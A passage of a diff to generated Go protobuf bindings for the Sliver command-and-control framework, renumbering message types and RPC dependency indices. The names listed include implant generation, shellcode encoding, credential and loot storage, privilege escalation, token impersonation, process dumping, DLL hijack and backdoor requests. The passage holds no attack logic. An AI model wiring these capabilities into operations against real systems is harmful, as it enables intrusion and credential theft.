(*clientpb.ShellcodeEncode)(nil), // 146: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 147: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 148: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 149: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 150: clientpb.Websites - (*sliverpb.Ps)(nil), // 151: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 152: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 153: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 154: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 155: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 156: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 157: sliverpb.Mv - (*sliverpb.Cp)(nil), // 158: sliverpb.Cp - (*sliverpb.Rm)(nil), // 159: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 160: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 161: sliverpb.Download - (*sliverpb.Upload)(nil), // 162: sliverpb.Upload - (*sliverpb.Chmod)(nil), // 163: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 164: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 165: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 166: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 167: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 168: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 169: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 170: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 171: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 172: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 173: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 174: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 175: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 176: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 177: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 178: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 179: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 180: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 181: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 182: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 183: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 184: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 185: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 186: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 187: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 188: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 189: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 190: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 191: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 192: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 193: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 194: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 195: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 196: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 197: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 198: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 199: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 200: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 201: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 202: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 203: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 204: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 205: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 206: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 207: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 208: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 209: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 210: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 211: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 212: sliverpb.Portfwd + (*clientpb.ImplantCommand)(nil), // 5: clientpb.ImplantCommand + (*clientpb.HistoryRequest)(nil), // 6: clientpb.HistoryRequest + (*clientpb.Beacon)(nil), // 7: clientpb.Beacon + (*clientpb.BeaconTask)(nil), // 8: clientpb.BeaconTask + (*clientpb.KillJobReq)(nil), // 9: clientpb.KillJobReq + (*clientpb.MTLSListenerReq)(nil), // 10: clientpb.MTLSListenerReq + (*clientpb.WGListenerReq)(nil), // 11: clientpb.WGListenerReq + (*clientpb.DNSListenerReq)(nil), // 12: clientpb.DNSListenerReq + (*clientpb.HTTPListenerReq)(nil), // 13: clientpb.HTTPListenerReq + (*clientpb.StagerListenerReq)(nil), // 14: clientpb.StagerListenerReq + (*clientpb.Loot)(nil), // 15: clientpb.Loot + (*clientpb.Credentials)(nil), // 16: clientpb.Credentials + (*clientpb.Credential)(nil), // 17: clientpb.Credential + (*clientpb.Host)(nil), // 18: clientpb.Host + (*clientpb.IOC)(nil), // 19: clientpb.IOC + (*clientpb.GenerateReq)(nil), // 20: clientpb.GenerateReq + (*clientpb.ExternalGenerateReq)(nil), // 21: clientpb.ExternalGenerateReq + (*clientpb.ExternalImplantBinary)(nil), // 22: clientpb.ExternalImplantBinary + (*clientpb.ImplantConfig)(nil), // 23: clientpb.ImplantConfig + (*clientpb.Builder)(nil), // 24: clientpb.Builder + (*clientpb.Event)(nil), // 25: clientpb.Event + (*clientpb.Crackstation)(nil), // 26: clientpb.Crackstation + (*clientpb.CrackBenchmark)(nil), // 27: clientpb.CrackBenchmark + (*clientpb.CrackTask)(nil), // 28: clientpb.CrackTask + (*clientpb.CrackFile)(nil), // 29: clientpb.CrackFile + (*clientpb.CrackFileChunk)(nil), // 30: clientpb.CrackFileChunk + (*clientpb.RegenerateReq)(nil), // 31: clientpb.RegenerateReq + (*clientpb.DeleteReq)(nil), // 32: clientpb.DeleteReq + (*clientpb.ImplantProfile)(nil), // 33: clientpb.ImplantProfile + (*clientpb.MsfStagerReq)(nil), // 34: clientpb.MsfStagerReq + (*clientpb.ShellcodeRDIReq)(nil), // 35: clientpb.ShellcodeRDIReq + (*clientpb.ShellcodeEncodeReq)(nil), // 36: clientpb.ShellcodeEncodeReq + (*clientpb.TrafficEncoder)(nil), // 37: clientpb.TrafficEncoder + (*clientpb.Website)(nil), // 38: clientpb.Website + (*clientpb.WebsiteAddContent)(nil), // 39: clientpb.WebsiteAddContent + (*clientpb.WebsiteRemoveContent)(nil), // 40: clientpb.WebsiteRemoveContent + (*sliverpb.Ping)(nil), // 41: sliverpb.Ping + (*sliverpb.PsReq)(nil), // 42: sliverpb.PsReq + (*sliverpb.TerminateReq)(nil), // 43: sliverpb.TerminateReq + (*sliverpb.IfconfigReq)(nil), // 44: sliverpb.IfconfigReq + (*sliverpb.NetstatReq)(nil), // 45: sliverpb.NetstatReq + (*sliverpb.LsReq)(nil), // 46: sliverpb.LsReq + (*sliverpb.CdReq)(nil), // 47: sliverpb.CdReq + (*sliverpb.PwdReq)(nil), // 48: sliverpb.PwdReq + (*sliverpb.MvReq)(nil), // 49: sliverpb.MvReq + (*sliverpb.CpReq)(nil), // 50: sliverpb.CpReq + (*sliverpb.RmReq)(nil), // 51: sliverpb.RmReq + (*sliverpb.MkdirReq)(nil), // 52: sliverpb.MkdirReq + (*sliverpb.DownloadReq)(nil), // 53: sliverpb.DownloadReq + (*sliverpb.UploadReq)(nil), // 54: sliverpb.UploadReq + (*sliverpb.ChmodReq)(nil), // 55: sliverpb.ChmodReq + (*sliverpb.ChownReq)(nil), // 56: sliverpb.ChownReq + (*sliverpb.ChtimesReq)(nil), // 57: sliverpb.ChtimesReq + (*sliverpb.MemfilesListReq)(nil), // 58: sliverpb.MemfilesListReq + (*sliverpb.MemfilesAddReq)(nil), // 59: sliverpb.MemfilesAddReq + (*sliverpb.MemfilesRmReq)(nil), // 60: sliverpb.MemfilesRmReq + (*sliverpb.ProcessDumpReq)(nil), // 61: sliverpb.ProcessDumpReq + (*sliverpb.RunAsReq)(nil), // 62: sliverpb.RunAsReq + (*sliverpb.ImpersonateReq)(nil), // 63: sliverpb.ImpersonateReq + (*sliverpb.RevToSelfReq)(nil), // 64: sliverpb.RevToSelfReq + (*clientpb.GetSystemReq)(nil), // 65: clientpb.GetSystemReq + (*sliverpb.TaskReq)(nil), // 66: sliverpb.TaskReq + (*clientpb.MSFReq)(nil), // 67: clientpb.MSFReq + (*clientpb.MSFRemoteReq)(nil), // 68: clientpb.MSFRemoteReq + (*sliverpb.ExecuteAssemblyReq)(nil), // 69: sliverpb.ExecuteAssemblyReq + (*clientpb.MigrateReq)(nil), // 70: clientpb.MigrateReq + (*sliverpb.ExecuteReq)(nil), // 71: sliverpb.ExecuteReq + (*sliverpb.ExecuteWindowsReq)(nil), // 72: sliverpb.ExecuteWindowsReq + (*sliverpb.SideloadReq)(nil), // 73: sliverpb.SideloadReq + (*sliverpb.InvokeSpawnDllReq)(nil), // 74: sliverpb.InvokeSpawnDllReq + (*sliverpb.ScreenshotReq)(nil), // 75: sliverpb.ScreenshotReq + (*sliverpb.CurrentTokenOwnerReq)(nil), // 76: sliverpb.CurrentTokenOwnerReq + (*sliverpb.PivotStartListenerReq)(nil), // 77: sliverpb.PivotStartListenerReq + (*sliverpb.PivotStopListenerReq)(nil), // 78: sliverpb.PivotStopListenerReq + (*sliverpb.PivotListenersReq)(nil), // 79: sliverpb.PivotListenersReq + (*sliverpb.StartServiceReq)(nil), // 80: sliverpb.StartServiceReq + (*sliverpb.StopServiceReq)(nil), // 81: sliverpb.StopServiceReq + (*sliverpb.RemoveServiceReq)(nil), // 82: sliverpb.RemoveServiceReq + (*sliverpb.MakeTokenReq)(nil), // 83: sliverpb.MakeTokenReq + (*sliverpb.EnvReq)(nil), // 84: sliverpb.EnvReq + (*sliverpb.SetEnvReq)(nil), // 85: sliverpb.SetEnvReq + (*sliverpb.UnsetEnvReq)(nil), // 86: sliverpb.UnsetEnvReq + (*clientpb.BackdoorReq)(nil), // 87: clientpb.BackdoorReq + (*sliverpb.RegistryReadReq)(nil), // 88: sliverpb.RegistryReadReq + (*sliverpb.RegistryWriteReq)(nil), // 89: sliverpb.RegistryWriteReq + (*sliverpb.RegistryCreateKeyReq)(nil), // 90: sliverpb.RegistryCreateKeyReq + (*sliverpb.RegistryDeleteKeyReq)(nil), // 91: sliverpb.RegistryDeleteKeyReq + (*sliverpb.RegistrySubKeyListReq)(nil), // 92: sliverpb.RegistrySubKeyListReq + (*sliverpb.RegistryListValuesReq)(nil), // 93: sliverpb.RegistryListValuesReq + (*sliverpb.SSHCommandReq)(nil), // 94: sliverpb.SSHCommandReq + (*clientpb.DllHijackReq)(nil), // 95: clientpb.DllHijackReq + (*sliverpb.GetPrivsReq)(nil), // 96: sliverpb.GetPrivsReq + (*sliverpb.RportFwdStartListenerReq)(nil), // 97: sliverpb.RportFwdStartListenerReq + (*sliverpb.RportFwdListenersReq)(nil), // 98: sliverpb.RportFwdListenersReq + (*sliverpb.RportFwdStopListenerReq)(nil), // 99: sliverpb.RportFwdStopListenerReq + (*sliverpb.OpenSession)(nil), // 100: sliverpb.OpenSession + (*sliverpb.CloseSession)(nil), // 101: sliverpb.CloseSession + (*sliverpb.RegisterExtensionReq)(nil), // 102: sliverpb.RegisterExtensionReq + (*sliverpb.CallExtensionReq)(nil), // 103: sliverpb.CallExtensionReq + (*sliverpb.ListExtensionsReq)(nil), // 104: sliverpb.ListExtensionsReq + (*sliverpb.RegisterWasmExtensionReq)(nil), // 105: sliverpb.RegisterWasmExtensionReq + (*sliverpb.ListWasmExtensionsReq)(nil), // 106: sliverpb.ListWasmExtensionsReq + (*sliverpb.ExecWasmExtensionReq)(nil), // 107: sliverpb.ExecWasmExtensionReq + (*sliverpb.WGPortForwardStartReq)(nil), // 108: sliverpb.WGPortForwardStartReq + (*sliverpb.WGPortForwardStopReq)(nil), // 109: sliverpb.WGPortForwardStopReq + (*sliverpb.WGSocksStartReq)(nil), // 110: sliverpb.WGSocksStartReq + (*sliverpb.WGSocksStopReq)(nil), // 111: sliverpb.WGSocksStopReq + (*sliverpb.WGTCPForwardersReq)(nil), // 112: sliverpb.WGTCPForwardersReq + (*sliverpb.WGSocksServersReq)(nil), // 113: sliverpb.WGSocksServersReq + (*sliverpb.ShellReq)(nil), // 114: sliverpb.ShellReq + (*sliverpb.PortfwdReq)(nil), // 115: sliverpb.PortfwdReq + (*sliverpb.Socks)(nil), // 116: sliverpb.Socks + (*sliverpb.SocksData)(nil), // 117: sliverpb.SocksData + (*sliverpb.Tunnel)(nil), // 118: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 119: sliverpb.TunnelData + (*clientpb.Version)(nil), // 120: clientpb.Version + (*sliverpb.Reconfigure)(nil), // 121: sliverpb.Reconfigure + (*clientpb.History)(nil), // 122: clientpb.History + (*clientpb.Sessions)(nil), // 123: clientpb.Sessions + (*clientpb.Beacons)(nil), // 124: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 125: clientpb.BeaconTasks + (*commonpb.Response)(nil), // 126: commonpb.Response + (*clientpb.Jobs)(nil), // 127: clientpb.Jobs + (*clientpb.KillJob)(nil), // 128: clientpb.KillJob + (*clientpb.MTLSListener)(nil), // 129: clientpb.MTLSListener + (*clientpb.WGListener)(nil), // 130: clientpb.WGListener + (*clientpb.DNSListener)(nil), // 131: clientpb.DNSListener + (*clientpb.HTTPListener)(nil), // 132: clientpb.HTTPListener + (*clientpb.StagerListener)(nil), // 133: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 134: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 135: clientpb.AllHosts + (*clientpb.Generate)(nil), // 136: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 137: clientpb.ExternalImplantConfig + (*clientpb.Builders)(nil), // 138: clientpb.Builders + (*clientpb.Crackstations)(nil), // 139: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 140: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 141: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 142: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 143: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 144: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 145: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 146: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 147: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 148: clientpb.Compiler + (*clientpb.ShellcodeEncode)(nil), // 149: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 150: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 151: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 152: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 153: clientpb.Websites + (*sliverpb.Ps)(nil), // 154: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 155: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 156: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 157: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 158: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 159: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 160: sliverpb.Mv + (*sliverpb.Cp)(nil), // 161: sliverpb.Cp + (*sliverpb.Rm)(nil), // 162: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 163: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 164: sliverpb.Download + (*sliverpb.Upload)(nil), // 165: sliverpb.Upload + (*sliverpb.Chmod)(nil), // 166: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 167: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 168: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 169: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 170: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 171: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 172: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 173: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 174: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 175: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 176: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 177: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 178: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 179: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 180: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 181: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 182: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 183: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 184: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 185: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 186: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 187: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 188: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 189: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 190: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 191: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 192: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 193: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 194: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 195: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 196: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 197: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 198: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 199: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 200: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 201: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 202: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 203: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 204: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 205: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 206: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 207: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 208: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 209: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 210: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 211: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 212: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 213: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 214: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 215: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty @@ -881,333 +892,337 @@ var file_rpcpb_services_proto_depIdxs = []int32{ 2, // 2: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq 3, // 3: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq 4, // 4: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 0, // 5: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 6: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 5, // 7: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 5, // 8: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 5, // 9: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 6, // 10: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 6, // 11: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 12: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 13: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 14: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 7, // 15: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 8, // 16: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 9, // 17: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 10, // 18: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 11, // 19: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 11, // 20: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 12, // 21: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 12, // 22: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq - 13, // 23: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 13, // 24: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 13, // 25: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 13, // 26: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 27: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 28: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 14, // 29: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 14, // 30: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 14, // 31: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 15, // 32: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 15, // 33: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 15, // 34: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 15, // 35: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 36: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 16, // 37: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 16, // 38: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 17, // 39: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 18, // 40: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 19, // 41: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 20, // 42: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 21, // 43: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig - 22, // 44: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 23, // 45: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 46: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 24, // 47: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 23, // 48: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 25, // 49: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 50: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 26, // 51: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 26, // 52: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 27, // 53: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 27, // 54: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 28, // 55: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 28, // 56: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 27, // 57: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 27, // 58: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 29, // 59: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 60: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 30, // 61: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 62: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 63: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 64: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 65: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 30, // 66: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 31, // 67: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 32, // 68: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 33, // 69: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 70: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 34, // 71: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 72: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 73: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 35, // 74: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 35, // 75: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 76: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 36, // 77: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 36, // 78: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 37, // 79: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 37, // 80: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 38, // 81: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 39, // 82: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 40, // 83: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 41, // 84: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 42, // 85: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 43, // 86: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 44, // 87: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 45, // 88: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 46, // 89: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 47, // 90: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 48, // 91: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 49, // 92: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 50, // 93: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 51, // 94: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 52, // 95: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 53, // 96: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 54, // 97: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 55, // 98: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 56, // 99: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 57, // 100: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 58, // 101: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 59, // 102: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 60, // 103: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 61, // 104: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 62, // 105: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 63, // 106: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 64, // 107: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 65, // 108: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 66, // 109: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 67, // 110: 